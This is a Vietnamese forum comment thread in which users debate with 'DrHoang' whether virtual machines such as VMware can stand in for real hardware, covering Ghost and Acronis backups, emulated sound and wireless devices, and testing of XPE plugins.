). Dr Hoàng DrHoang Email: drhoang@*****. hết boọt vào thì Vmware cũng tiêu làm sao vào ấy được nữa mà phục hồi gì.nhưng nếu để thử phần mềm cài vào XP.máy in wireless phải có registry. ngoài ra all are newbie: Mong bạn hiểu cho điều tối thiểu ấy và mong bạn đừng để cập về tuổi tác ở đây nữa.Làm gì có chuyện ghost đươc ổ C máy tính hay restore file ghost khi máy tính hết vào XP Một khi XP tiêu.. plugin thạt hoàn hảo (registry này khác với XP) nên không đánh gía plugin nào được qua thử nghiệm Vmware được cả. XPE live hoàn toàn khác cài XP môi trưòng ảo vì không thể cài thêm nều không làm plugin từ đầu trức khi ghi ra đĩa CD. tôi không thích phần mềm ảo 1 chút nào. Tôi chỉ mong ngày nào đó. do chạy thử ISO. nên thử nghiệm ISO hay CD trong Virtual Pc hay Vmware chưa thể hoàn hảo là vì thế : Dùng driver Audugy mô phòng làm sao đánh gía lám Plugin thành công trong XPE. . File ghost ấy làm gì bung restore sau này được .

USB. như tôi đã nói là theo nguyên tắc có thể làm được. Sound-Creative AudioPCI (ES1371. Nó cũng hỗ trợ một số thiết bị thật như HDD.VMWare SVGA II.Ghost: tôi chưa thấy ai hỏi tôi hay trao đổi với tôi về việc chạy máy ảo để ghost ổ cứng của máy thật cho đến khi có ý kiến của DrHoang. tôi thấy QEMU dùng là cũ hơn. Parrallel. Mouse. chỉ là máy tính cá nhân riêng của mình. cho dù phần cứng thật tương ứng trên máy bạn là gì. Vậy tại hạ đang dựa cột mà nghe đây xin hỏi bạn làm thế nào nếu không phải nhiều máy nối mạng đâu nhé.org Thông tin về máy ảo Có một số thông tin sau: . Nhưng đa số mọi người không có phương tiện server. Xin được chỉ dẫn thêm Dr Hoàng centos5f4vn Email: centos4_vn@*****. . VGA.Phần cứng ảo so với phần cứng thật thì thế nào? VMWare dùng một số phần cứng ảo sau: VGA. Với tôi. NIC. FDD. . Serial. Nếu có thay đổi.Cần phân biệt phần cứng ảo và phần cứng thật để xác định rõ. Làm Ghost. chắc khi VMWare sẽ thay thế phiên bản khác.***. bạn có dùng file ghost( ảo) phục hồi ấy lại được ổ C máy tính không? 3 chuyên gia ở Saigòn máy ảo cho là không thể được.** Địa chỉ: free4vn. nhưng thực tế VMWare chưa có.@Bạn Giang Bạn có phương tiện winserver nhiều máy dể test nhiều thứ được những không phải bài này để cập. hay làm được cả ổ C máy tính? Khi ổ C hết boot. Network. Với phần mềm VMWare cụ thể. điều này không có nghĩa và không có ý tưởng gì hay ho cả.AMD PCNet Adapter. bạn chắc cũng lại nói đấy lại là 1 chuyện nhỏ. Trong các phần cứng ảo. PM chuyện vặt. PM máy ảo của bạn làm chỉ chơi thôi à? vì làm ở ổ đĩa ảo. Khi đó cần kiểm tra cụ thể xem các phần mềm máy ảo khác hỗ trợ phần cứng như thế nào. Processor. SCSI (dạng generic). Với các PM máy ảo khác cũng sẽ có các phần cứng ảo tương ứng. ES1373). CD/DVD. Ngoài các thiết bị trên. CD/DVD. . Audio Device. theo help VMWare hỗ trợ những phần cứng ảo sau: Virtual Disk. Các phần cứng ảo này không thay đổi. Bạn mới cho là Fdisk.

Như thế sẽ hiệu quả hơn và có thể test được nhiều thứ hơn.Máy ảo cũng được sử dụng trong việc hỗ trợ khách hàng.Máy ảo có lợi ích do phần cứng ảo cố định. . nhưng máy ảo. Khách hàng dùng có thể nhiều loại OS khác nhau.*** Địa chỉ: Hanoi Góp ý Ý kiến của bạn Hoàng tôi không đồng tình lắm vì cách tiếp cận vấn đề của bạn rất phiến diện và hơi "cực đoan". 2000.. coi như 2 máy đó là độc lập trên mạng .. mất thời gian như khi cài máy thật. Bạn chỉ chủ yếu dựa vào việc máy ảo không hỗ trợ tốt cho việc test các file ISO ảo mà hạ thấp giá trị của môi trường ảo hóa. . các hệ điều hành khác nhau để chạy thử: XP SP2. XP SP2.. cũng không phải để nghe nhạc xem phim . DrHoang hãy gọi đúng cái nick của tôi. Windows 32bit. Vista Home. win-pe .. Linux. Bạn nên tìm hiểu thêm về các tác dụng của máy ảo và ứng dụng thực tế của chúng trước khi đưa ra những đánh giá như vậy.. chỉ thử được hệ điều hành đang sử dụng. thử hệ điều hành mới. nên việc cài đặt các hệ điều hành trên đó không gặp trục trặc.Máy ảo có thể sử dụng để làm những việc gì? Thử code.. Cuối cùng. Khi đó từ máy của tôi sẽ có thể truy cập vào và sử dụng.. GameProff Email: duyanh1234@*****. . không "sạch". khi triển khai hệ thống cần số lượng server lớn trên hạ tầng phần cứng có hạn. Tôi tin là bạn cũng có hiểu biết không ít về máy ảo và đã bỏ thời gian để sử dụng và đánh giá. Trên XP có thể thử được. Máy thật có thể tôi cài rất nhiều thứ. 64bit. thử mạng... xây dựng môi trường ảo hóa phục vụ cho việc đào tạo. chạy mô phỏng. thử chương trình mới. Vista Ultimate. Tôi thường cài các máy ảo trên một Server trong LAN... nhưng cách viết của bạn sẽ tạo ấn tượng sai lạc về máy ảo đối với newbie và gây phản cảm cho những người có hiểu biết về IT. tôi để các máy khác nhau. nhưng khi lập trình thử một số bản mới.*** trả lời ..Tôi tách biệt máy ảo và máy thật. Trong khi máy thật. DrHoang Email: drhoang@*****. kiểm thử. tôi cũng chạy trên máy ảo XP.... trong khi đó máy thật của bạn không đủ để chỉ trực tiếp. 2003. . Người ta bỏ ra tiền ra để mua VMWare không phải để test mấy cái file iso hiren. Các phần mềm máy ảo cực kỳ hữu ích khi cần test phần mềm.

( riêng với tôi thôi đấy nhé ). restore có được không. cài cả chục phần mềm thử nghiệm thì máy ảo của bạn cũng y như bạn. Vâng với giải đáp chi tiết của bạn tôi hiểu Máy ảo có nhiều công dụng thật nhưng với bậc pro. phải bàng hoàng mất mấy phút vì bạn lách câuu hỏi quá khéo 1) Với câu hỏi của tôi ghost ổ thật. bài viết trên khai thác vào yếu tố mà việc ảo hóa lại không quan tâm. dạng trung trung. việc mô phỏng hoàn toàn có thể làm được. Nhưng trên thực tế. Không cần gì gở bỏ anh nào cả sau khi cài vì đã có Shadow defender 10 làm thay cho tôi chuyện ấy rồi. Bạn nói vậy thì với tôi dùng hàng ngaỳ . thử ngay trên XP của mình vì có ghost 2 ngày/ lần. D ảo có gì là khó đâu ) Có thể bạn đúng là bậc pro về IT nhưng cách trả lời cho ácc người thắc mắc hỏi bạn khá độc đáo. Máy ảo được tính cho những vấn đề khác hơn là phải bắt buộc mô phỏng tất cả các thiết bị. đơn giản là nó không có mô phỏng tương ứng...Ứng dụng của máy ảo rất đa dạng.” ( còn tiếp ) DrHoang . ai nghe mà chịu và hiểu gì nổi: “ Một số thiết bị phần cứng khác mà chương trình máy ảo không nhận được. đúng không vì dân IT pro Sàigòn nói NEVER. CD cho XPE. Phải copy lại thôi. gọi tắt đi không đồng ý vậy OK. .Chào bạn centos5f4vn Nick của bạn khó nhớ. Theo nguyên tắc. Bạn chỉ trả lời ngắn gọn như kiểu wireless là được hay không? Có gì quá khó đâu anh bạn mà phải chuyển qua là không có nghĩa và không có gì hay ho cả. Hiren không như mong muốn có thể thôi . đánh lại sai nũa. Có gì phải sợ trục trặc của anh nào đâu đâu có điều tôi biết chính xác hơn về gía trị sử dụng phần mềm ấy ở môi trường thật. bán hàng nhưng người newbie. Sorry... Ai thích dùng máy ảo là quyền cá nhân mọi người. vì người đã nói tôi máy ảo y hệt như máy thật kia mà. Thất vọng vì thử ISO. chả có gì hay ho và quá thừa thải. Tôi có quyển thắc mắc ở bạn chứ. phải làm ghost restore trong máy thật thôi. 2) Một lần khác. xin các bạn đừng chỉ trích quan điểm này của tôi. hễ cái gì bạn thích bạn giải thích hàng đôi. Nếu tôi cần thử phần mềm nào. ( ổ C. sàn sàn như tôi tiếc là không nhu cầu y như bạn. nhu cầu để làm việc đó không nhiều.

Hãy coi đó là 2.*** drhoang Gì nào là máy ảo không có mô phỏng. trả lời như kiểu nước đôi của bạn: không thể hiểu bạn muốn nói cái gì? Dr Hoàng Giang Email: yellowriver2883@*****.Email: drhoang@*****. Tiếp nhu cầu lại không nhiều ( mâu thuẫn tối đa). thâu TV. sử dụng phức tạp. Tất nhiên việc này ko thể là không làm được nếu . Vì thế đừng nghĩ là bạn có thể cài win trên máy ảo rùi ghost lại nó sau đó cop ra máy thật để ghost vô cái ổ C đang chạy ở máy thật (hay ngược lại)...3. Trên Windows.. Xin hỏi anh bạn về chạy thử card sound cao cấp. Bác Hoàng nên phân biệt rõ máy thật và máy ảo.*** Bác Centos nói rất đúng. Xem. đều không quan tâm vậy thì đúng tôi không cần máy ảo mà xài trong máy thật đi cho rồi. hiệu quả hơn. 3) Ở bài Chạy Linux từ USB “ KQEMU là một chương trình hỗ trợ các máy ảo chạy mượt mà. Nên các so sánh với QEMU-Puppy chưa chắc đã chuẩn Nó dùng cho newbie hay không lại là chuyện khác” Chuyện gì? Xin hỏi lại anh bạn Sao lại đi hàng hai nữa.4 cái pc hoàn toàn độc lập với nhau. Nên nói nó vô hại hay có hại thì nói thế nào được? Tuy nhiên do chương trình gốc là dạng lệnh. các chương trình này đơn giản là các file .. Bạn lại chủ quan theo ý thích mình 1 lần nữa chê bai lại cho bằng được cho là so sánh chưa chuẩn mặc dù chưa thử chạy USB Linux ấy bao giờ để biết có hại lợi sau bao nhiêu thời gian? Dùng hay không cho newbie là chuyện khác. nghe nhạc đúng card sound Audigy thứ thiệt . có thể giống với dạng Ubuntu chạy trên QEMU... rồi sau đó lại nói có thể làm được. Dạng này có thể khác. nên nhiều người khi mới dùng nó sẽ có những hạn chế nhất định QEMU-Puppy là dạng Puppy chạy trên QEMU. khai thác mà việc ảo hoá không quan tâm..exe. khác rồi giống với Ubuntu rồi nói so sánh chưa chắc đã chuẫn mặc dù tác giả Qemu-Puppy đã nói Kqemu nói là driver của windowsm chứ không phải chỉ là exe có hại. DVD mới đã chứ quan tâm đến máy ảo làm gì cho mệt óc.. TV card.

Chẳng hạn muốn phát triển phần mềm trong môi trường HDH tiếng Nhật.*** Địa chỉ: Da Nang .5 máy ảo trong đó. Trân trọng kính chào. nguyenduy Email: nguyenduy162@*****.. mà ko muốn là hỏng cái ổ mình đang dùng hay hơn nữa là ứng dụng máy ảo vào các bài tập lập trình dos. Công ty tôi 1 server trung bình chạy khoảng 4. mỗi máy ảo là một môi trường khác nhau. win 2000 trên máy ảo và máy thật rùi bật tất tần tật lên và set mạng rùi test thử mạng coi nào. Chúng tôi sẽ giải đáp cụ thể về công dụng của máy ảo. ghost.vẫn muốn làm (bạn có thể tìm hiểu sâu hơn về phần này nếu muốn tạo bộ ghost win dùng cho mọi máy tính. chả nhẽ phải cài lại máy mình ??? Rồi làm sao mà surf web. Ko có server cao xa gì đâu.*** Hiểu sai mụch đích. Nếu Dr Hoàng còn gì thắc mắc. Chép đè bản ổn định lên là xong. Nhưng cũng chính vì thế mà bài viết của Dr Hoàng cũng chỉ nhằm mục đích dùng VM để test mấy cái đó thôi. Tui nói vậy để dành cho các bạn mới học IT có thể có điều kiện tìm hiểu thêm về fdisk. Pham Chuong Email: chuongpt@*****. Như vậy. phát triển phần mềm trên môi trường phù hợp mà không phải cài lại máy thật của mình. Nếu sử dụng như thế thì quả thật 299 là quá mắc. Thậm chí 1/10 giá đó cũng còn mắc. Mục đích chính của chúng tôi khi sử dụng VM là ảo hoá server. chia ổ. chắc Dr Hoàng cũng hiểu mục đích chính của VM là gì phải ko ạ. test phần mềm. Việc máy ảo hư HDH cũng chả phải là vấn đề gì to tát. còn máy ảo thì muốn sao cũng được.. Ram 128 mà tui vẫn chạy virtualPC để hoàn thành các bài tập đấy. cho mỗi dự án khác nhau. có thể làm nó trong máy ảo đấy) Còn về phần mấy cái ứng dụng dos. Nhờ đó mà tính ổn định của máy thật được giữ... Và điều nữa là lúc tôi đi học tui chỉ có cái máy P3 1G.. cũng như cái giá ấy là phù hợp hay không phù hợp. Bạn cứ thử cài win xp. Điều mà tôi muốn nói là bạn không có server nhưng bạn hoàn toàn có thể học tập và thử nghiệm server trên bộ máy tính bình thường của mình. tham khảo phải ko dr Hoàng. Có lẽ dr Hoàng có mục đích khác khi sd máy ảo. tìm hiểu hệ điều hành. Việc nối mạng giữa các máy ảo thì đơn giản thôi. Bây giờ tui cũng chỉ dùng máy desktop HP5700 thui. Còn chúng tôi thì chẳng bao giờ dùng VM để test như thế cả.

khoe nhiều làm người ta liên tưởng đến "thùng rỗng kêu to".** Địa chỉ: free4vn.. còn chất lượng hay không thì tự DrHoang so sánh đánh giá. Ví dụ về wireless.org Lại Ghost? Về phần cứng máy ảo. centos5f4vn Email: centos4_vn@*****. chạy ghost để clone một partition trên ổ cứng ảo thành một file hoặc từ partition này sang partition khác. trả lời tiếng Anh hơn 1000 lượt thôi) qua mặt tôi cái vèo ở tại Bart’s PE forum thôi( www. lúc đầu DrHoang không hiểu NIC thật. Bác sợ bác không rêu lên như thế thì người ta không biết là bác giỏi sao? Tôi nghĩ bác nên hành xử kiểu "hữu xạ tự nhiên hương" thì hay hơn. tôi thấy hơi bất ngờ. Quay trở lại cái ghost. NIC ảo nên nói là kô nhận được.. khi được trả lời là có nhận. nó chạy ghost được.Như trên đây. Như thế là tương ứng với máy thật. Tôi đã hơn 1 lần tranh luận với DrHoang nên tôi sẽ đưa ra thông tin và DrHoang tự đánh giá thông tin đó.***. vài lời nói thẳng thật. tôi đã giải thích rất kỹ cách thức của máy ảo. . Tôi đã giải thích cách thức NIC ảo và khẳng định dùng máy ảo dùng Internet qua wireless của máy thật được. Tôi không có ý châm biếm gì bác. có 1 bạn nào khác có được title Platinum member ( viết.Gop y Tôi chỉ mong ngày nào đó. một số người nói là máy ảo chạy ghost được.. Như tôi đã nói là logic dùng máy ảo ghost máy thật là rất tệ. Về Sound. DrHoang hỏi lần lượt.DrHoang lại hiểu là chạy máy ảo (ví dụ chạy đĩa Hiren) sau đó chạy ghost và hỏi xem nó có nhận được ổ cứng thật hay không. sáng tác. có play được file thì lại hỏi là có chất lượng như Audigy kô. chẳng có gì đáng quan tâm. .net/forums Đây là một trong những điều tôi thấy bác suốt ngày rêu rao này. Như thế là DrHoang chưa hiểu về máy ảo. máy thật. khi máy tính hết boot được vào XP không? Sau câu hỏi trên của DrHoang. có nhận sound kô. . Tôi xác nhận card trên máy ảo là Sound-Creative AudioPCI. Tôi không nhất thiết phải trả lời thẳng vào câu hỏi của DrHoang. Đúng. Khi đó chưa có cái câu hỏi dưới đây: File ghost ấy liệu có restore lại cho ổ C thành công.911cd.

Ở đâu DrHoang muốn biết khả năng. DrHoang nếu muốn trao đổi tiếp. Trong như câu trên đã thấy thiếu logic. hãy đặt lại câu hỏi. nó chạy ghost được. phải làm ghost restore trong máy thật thôi. Tôi chỉ ngại khi trả lời xong. Do có người nói máy ảo giống y hệt máy thật tôi mới phát biều là không thẻ đồng ý với câu ấy “ Như tôi đã nói là logic dùng máy ảo ghost máy thật là rất tệ” bạn nói vậy tôi hoàn toàn đồng ý không cãi gì lại nhưng sao câu tiếp là ” chẳng có gì đáng quan tâm” lại trở nên vô nghĩa: lý do đơn giản máy ảo làm không được . DrHoang lại lấy lý thuyết newbie ra để giải quyết. Không biết phải hổi lái Bod. vì file ghost làm ra trong ổ ảo để ngắm có xài được vào đâu. lái Ngựa la chúng làm được những gì. Máy thật còn không chạy được thì hy vọng gì máy ảo. Ngựa trở đuợc hàng hoá cồng kềnh. chạy ghost để clone một partition trên ổ cứng ảo thành một file hoặc từ partition này sang partition khác. vì người đã nói tôi máy ảo y hệt như máy thật kia mà. một số người nói là máy ảo chạy ghost được. Bò làm được gì. Đúng.*** trả lời @ Bạn centos5f4vn Bạn nói vậy tôi không đồng ý “ Như trên đây. Như thế rõ ràng hơn. tôi cứu hộ máy tính được tốt thôi. Tôi có quyển thắc mắc ở bạn chứ. năng thì chí ít cũng phải đóng cái xe thung cho nó kéo chứ ! Dr Hoang Email: drhoangf@*****. Mong bạn chỉ dẫn. Chứ với một câu hỏi như của DrHoang như trên. Đằng này đổ đồng Ngựa với Bò vì chúng đều có 4 chân và đi được.. Ham_Hoc_IT Email: sdf@***.*** Thích phi Ngựa nhưng lại mua Bò về đua Ít nhất cũng phải biết Ngựa làm được gì. họ nói những gì. Tương ứng máy thật( similar only ) nhưng đấy không phải và không thể nào giống y máy thật. đúng không vì dân IT pro Sàigòn nói NEVER. tôi muốn trả lời thế nào cũng được. restore có được không.Đấy là 2 cái khác và DrHoang đang xoáy vào việc Với câu hỏi của tôi ghost ổ thật. Muốn bò. Như thế là tương ứng với máy thật. cách thức hay muốn đánh đố? Trong trường hợp nào thì DrHoang cũng nên đặt lại câu hỏi và nói rõ dân IT Pro Sài Gòn mà DrHoang đã gặp.”. Trong khi đó nếu tôi thử nghiệm các phần mềm ở máy thật. khả năng đến đâu.

nói làm tương tự thì quá đúng . Bạn cứ nói sai mãi: tôi rêu rao cái ấy suốt ngày: bao nhiêu lần hay chỉ khi nào có ai cho là tôi chỉ biết y khoa tôi mới nói thôi Tiếc là bạn phát biểu cái nào về tôi cũng thiếu chính xác: toàn nói luôn luôn đã nói thế naỳ thê nọ mà hỏi lại bạn bao nhiêu lần.chuyện ấy nên bạn cho là không đáng quan tâm chứ gì?. tôi vẫn restore ghost tốt chạy được lại bình thường chứ nếu làm ghost trong máy ảo để ngắm đúng là không hy vọng cứu hộ máy tính gì được. trong DOS thực.*** trả lời tiếp @ Bạn centos5f4vn( tiếp theo ) Các chuyên gia TP HCM nói là Ghost. back restore cho ổ C không thể làm được. do đó không thể nào giống hệt như máy thật. dù bạn có qua máy thật nhưng rồi driver cũng mô phỏng nữa thế thì bao giờ tôi thử Wireless plugin của tôi biết thật sự có hiệu quả đây? Xin bạn mách cho giải pháp đi nào?. ( còn tiếp ) Dr Hoàng Bạn thích True image quyền của bạn nên ai lỡ nói xài Ghost bạn cho là lại Ghost sao? Chả nhẻ mọi người bán máy ở TP HCM xài Ghost đều dỡ. @ Bạn Chương thân. nên tội gì thử trên máy ảo: không chính xác do driver mô phỏng cũng khác. Bạn nói chưa đúng "Máy thật còn không chạy được thì hy vọng gì máy ảo”. Theo chuyên gia TP HCM card sound mô phỏng Sound-Creative AudioPCI không thể nào là Audigy. @ Bạn Ham_Hoc_IT Hể ai hỏi mình cái gì. Máy thật không chạy được. bạn lại không chứng minh. less smarter hơn bạn. không thể nào thấy cái hay của Acronis sao? DrHoang Email: drhoang@*****. Cái tôi cần driver giống vậy chứ mô phỏng thì ích lợi gì khi cần test chính Audigy plugin mới làm ra trong XPE CD đây? Wireless plugin cho XPE cũng thế..lịch sự trả lời đúng ngay câu hỏi chứ đây không phải chỗ .

Tranh cải để rỏ thêm vấn đề. về máy ảo nói nhưng điều tôi dùng là cái thực tế chứ tôi không tạo ra đồ ảo mà sau đó không xài gì trong thực tế được. Bác thích học hỏi thêm chuyên gia ở TP HCM nên suốt 2 tiếng phải xem họ chạy Vmware.kể chuyện giáo khoa thời xa xưa. @ Cháu Quốc thân. Ăn nói ở diễn đàn này.*** trả lời Cháu Quốc thân.. . Đồng ý với bạtn máy ảo giúp bạn thử nghiệm các chương trình DOS nhưng chỉ riêng g trong môi trường ảo thôi. tuyệt đối không dùng những chữ tương tự như cha nội (undeducated) nhé. Hy vọng là thế.*** trả lởi Bạn Giang thân. Nhưng khi máy tính trục trặc. bạn vẫn phải xài dồ thật( bản ghost thật ). Chaú thấy khoái máy ảo tuỳ cháu thôi nhưng bác lại thích xài đồ thật hơn. Có thể tôi chưa hiểu nói sâu xa của các đại gia. cháu nên nhớ phải đúng phép lịch sự với mọi người. Virtual PC nhung tiếc là họ chưa làm XPE thử nghiệm nên câu hỏi của bác vẫn còn bỏ lững ở đấy. Dr Hoàng DrHoàng Email: drhoang@*****. ở đâu chả được nhưng vấn đề quan trọng là bạn dùng bản đó trong máy ảo phục hồi lại ổ C trục trặc không vào XP lại được không? Đó mới là sự thực tế . Sao bạn lại cho bản ghost đa câu hình đa cấu hình có thể làm trong mày ảo. Dr Hoàng Dr Hoang Email: drhoang@*****. trong môi trường máy thật mới phục hồi lại như cũ thôi. dùng lời lẻ lĩch sự có gì phải ngưng hở cháu.

Restore từ máy ảo sang ổ cứng của máy thật? Cái này chắc chắn không được rồi vì khi đó hệ điều hành đang chạy. Thế cháu biết chê đến vậy. Về Ghost? Tôi cũng đã nói là không có ý tưởng gì hay ho về chuyện từ máy ảo ghost máy thật. máy ảo add ổ cứng của máy thật (ổ C. Khi đã ra file image rồi. Như thế về phần máy ảo là rõ ràng rồi? Về Driver tôi đã nói rồi và đủ thông tin để người đọc nhận định được. Máy thật chạy XP. .*** trả lời và kết thúc vấn đề . mà dám phách lối. D) và tôi vẫn chạy ATI để clone ổ C (của máy thật) ra một file image. tôi khởi động từ ATI trên máy thật để clone ngược lại. Chuyên gia của DrHoang sao nói chung chung thế? Chỉ trả lời có/không mà không chịu giải thích gì? Câu hỏi là: Tại sao phải chạy máy ảo để clone ổ cứng của máy thật? Nếu dự định dùng máy ảo để hy vọng cứu hộ được máy thật như DrHoang nói thì tôi trả lời luôn là khỏi tính cho mệt.Những người khác có y/c khác với DrHoang vẫn có thể dùng máy ảo được.Cháu chê là chỉ viết bài báo sàm sàm tin học. bác hỏi lại cháu đã viết bao nhiêu bài cao siêu ở đâu chưa. Tôi không thử Ghost. Như vậy tôi tạm khẳng định là có thể dùng máy ảo để backup ổ cứng của máy thật. Cháu đã ra được tờ báo nào chưa mà dám nói báo tin học là sàm sàm. bày đặt nổ. Còn cái file image đó để ở đâu thì DrHoang tự tìm hiểu.org Ghost? Dứt từng thứ cho dễ: . DrHoang Email: drhoang@*****. Dr Hoàng centos5f4vn Email: centos4_vn@*****. . tôi thử Acronis True Image 11.** Địa chỉ: free4vn. Tuy nhiên tôi cũng ngồi thử xem sao.***.Việc DrHoang muốn test cái đĩa mình làm ra trên máy ảo với tất cả những y/c đó thì máy ảo không làm được.

Đúng không? 1)Việc DrHoang muốn test cái đĩa mình làm ra trên máy ảo với tất cả những y/c đó thì máy ảo không làm được. Tất cả những thứ phát sinh khi làm trong máy thật sẽ mới biết. Để không còn cải nhau cải tới chi cho mệt óc. 3) Tại sao phải chạy máy ảo để clone ổ cứng của máy thật? Tại vì ai nấy đều khen máy ảo hoạt động y nhệt như máy thật. còn làm chuyện khác nữa chứ. không cần tìm hiểu nữa. Dr Hoàng Giang Email: yellowriver2883@*****. tôi cũng dứt điểm về quan điểm không dùng máy ảo của tôi. OK 2) Dùng Ghost hay PM trong XP ảo test thử được chức năng của 2 anh này: OK.Bạn centos5f4vn. File ấy theo chuyên gia TP HCM trả lời . còn cái file image đó để ở đâu thì DrHoang tự tìm hiểu. Ghost trong máy ảo cho ổ ảo. Nó để chung trong 1 file duy nhất của máy ảo( ngày càng phình to ra ) hoàn toàn không thể bung ra restore khi máy tính trục trặc.” OK .*** Bác Hoàng vẫn không tách biệt được giữa máy ảo và máy thật.bad sectors sẽ từ chối không chịu làm. Vì xin thưa với bạn là khi làm Ghost thật cho ổ C thật. Bạn trả lởi dứt điểm rõ như vậy. Nếu bạn test PM . Do vậy. lost links ở C . kết luận bạn có gắng làm ra file image bằng True Image chi nữa sau cùng cũng chỉ làm ngắm chơi . 4) Bạn noí backup cho ổ thật được. Thực tế không cứu hộ gí được vì hễ hệ điều hành thật có máy ảo chạy. File ghost làm ra cũng được đấy nhưng restore lại không được. làm sao còn vô được máy ảo được nữa. tiêu hết boot. liệu nó có biết không hay chỉ là OK? Tôi xin hỏi các đại gia yêu thích test trong máy ảo trả lời cho chính xác nhé. PM 805 phân vùng lại có nhiều vấn đề mới biết như có llost clusters. Như thế về phần máy ảo là rõ ràng rồi?. >>Sao bạn lại cho bản ghost đa câu hình đa cấu hình có thể làm trong mày ảo. PM cũng thế. khi làm phân vùng mà ổ nào có lỗi losk links.. tôi không bàn cải gì thêm. Nhưng liệu test ấy trong máy ảo có giống y như khi làm máy thật lại là chuyện khác. ở đâu chả được nhưng vấn đề quan trọng là bạn dùng bản đó trong máy .

nguyenduy>>Công ty tôi 1 server trung bình chạy khoảng 4.***. Cần gì máy ảo chứ. không cần . File ấy theo chuyên gia TP HCM trả lời . Và hãy coi nó là một cái máy độc lập có thể truy cập vào máy thật của bạn và ngược lại. Tui quen xài hiren boot. Ah mà thôi chả cần router.hihi. Chả biết làm thế nào để tranh cãi với bác đến cùng cả.5 máy ảo trong đó.org End. mỗi máy ảo là một môi trường khác nhau. còn cái file image đó để ở đâu thì DrHoang tự tìm hiểu. >>Có thể tôi chưa hiểu nói sâu xa của các đại gia. Không thích nữa thì xoá nó đi chả ảnh hưởng gì tới máy thật đang chạy xp cả. Nói đi nói lại mãi chán quá thui. ubuntu.. Lúc nào hỏng thì bạn ghost lại.” OK . 3) Tại sao phải chạy máy ảo để clone ổ cứng của máy thật? Tại vì ai nấy đều khen máy ảo hoạt động y nhệt như máy thật.>> Đồ ảo đó có thể sử dụng với nhiều mục đích chứ không phải tạo ra chỉ để nghe nhạc.>> bạn hỏi chuyên gia này coi nào. cài các thứ linh tinh nữa lên. Mà tui thì lại không hay xài xpe lắm nên cũng không giúp được bác nhiều. Thích bật máy chủ lúc nào thì bật.. Bạn có một trang web tự làm và muốn cả cơ quan có thể truy cập vào trang web đó mà bạn lại muốn chủ động quản lý trang web thân yêu cơ. sao lưu phục hồi dữ liêu. Tui cảm thấy vậy là đủ khi máy hư.** Địa chỉ: free4vn. centos5f4vn Email: centos4_vn@*****. Thế là bạn cài máy ảo 2000sv lên...(quên: không phải là xp không làm web vậy được. 4) Bạn noí backup cho ổ thật được. làm cái bản ghost nhé. nhưng mà cứ có cái máy chủ vẫn hơn nhie) Vấn đề của bác loanh quanh vẫn chỉ là test cái XPE của bác.>> Cái nì chả liên quan gì tới chuyện bạn có máy ảo hay không cả. Rùi bạn thích quản lý cái sv đó thế nào thì quản lý. khi cần sửa chữa. cho mỗi dự án khác nhau. Hay nữa là bạn dùng cái máy thật để truy cập vào máy ảo test trang web của bạn như là bạn có một server thật. Ví dụ đơn giản nhé: bạn đang dùng winxp.. Bạn muốn có một cái máy chạy win2000 server để làm router trong mạng. Mấy chuyên gia trong SG của bạn tui thấy chưa giúp được bạn nhiều đâu nếu thật sự họ không có nhu cầu phải sử dụng máy ảo. về máy ảo nói nhưng điều tôi dùng là cái thực tế chứ tôi không tạo ra đồ ảo mà sau đó không xài gì trong thực tế được. nghe nhạc.ảo phục hồi lại ổ C trục trặc không vào XP lại được không? Đó mới là sự thực tế . xem phim. và ghost gì đó thui. cài iis lên. Bạn có máy thật và bạn tạo cái bản ghost cho máy thật. Xin nhắc lại lần nữa là máy ảo chạy trong môi trường HĐH máy thật như là một PC khác trong mạng lan..

*** trả lời Cháu Quốc thân Bác đánh tiếng Anh nhanh quá. Cái chính là chỗ lưu file image thôi. DVD. chú không còn sound on . cháu muốn tranh cải theo kiều gì (m dạy ) gì nữa đây? @ Bạn Giang thân.dạy ) từ hồi nào thế. xài vào đâu được: các chuyên viên Sài gòn nói không được. xem DVD. Tranh cải là biết phép lịch sự còn cháu. ubuntu” Ubuntu sẽ xài được khi nào khỏi dùng dòng lệnh rắc rối. Cháu nhỏ tuổi nói bá láp. rồi Ai mà còn có thể giáo dục cháu nổi gì nữa đâu? Thôi nói thẳng bằng tiếng Việt cho cháu dễ hiểu hơn . Lớn lối hay không tuỳ suy nghĩ mỗi người nhưng lúc naò bác cũng đối đáp lịch sự. Nên với kết luận là không dùng máy ảo để cứu hộ máy thật thì khỏi phải mất thời gian nữa. nghe nhạc qua card Creative Audigy tốt. Tôi vẫn có cách dùng được file đó để restore lại. từ lúc bao nhiêu tuổi ? Cháu còn trẻ lại ( v. cứu hộ đơn thuần 2 năm sau đi qua giải trí . nối mạng và làm được hầu như mọi thứ khó tin trên CD read only như thâu TV.dạy )thì tuỳ chọn . Tôi vẫn phân biêt máy ảo. nối modem. cứ cài cho bằng được Mr Centos5f4vn đã kết thúc vấn đề. drhoang Email: drhoang@*****. mới theo kịp Windows và làm cho Bill gated sợ rét run.tìm hiểu nữa. máy in. Dân tin học là phải biết phép lịch sự. đáng tiếc và bác không cần tranh cải thêm ở đây. thật đấy nhưng vì có quá nhiều người cho là máy ảo giống hệt máy thật nên tôi mới bổ sung tranh luận thêm kia chứ. từ chỗ không tiếng. góp ý đừng dùng mà cứ kêu mãi.” Tui quen xài hiren boot. lúc naò cũng ( m. wireless. Cháu học được môi trường ( m. g dục ) hết thuốc chữa. Nó để chung trong 1 file duy nhất của máy ảo( ngày càng phình to ra ) hoàn toàn không thể bung ra restore khi máy tính trục trặc. có thể sai không kịp sửa lại chứ không phải( undeducated). ghost tùm lùm thứ ổ ảo ấy. Cháu nói sai be bét là những chỗ nào nữa? Đó là bác cố gắng tránh khỏi mắng cháu nặng nề đấy. Bao nhiêu năm với mả nguồn mở khắp thế giới qua bao nhiêu phiên bản đổi tên này nọ chả một ai IT pro cải tiến gì thêm cả sao? Nhưng XPE 32 bit thì cải tiến nhiều thứ đấy.

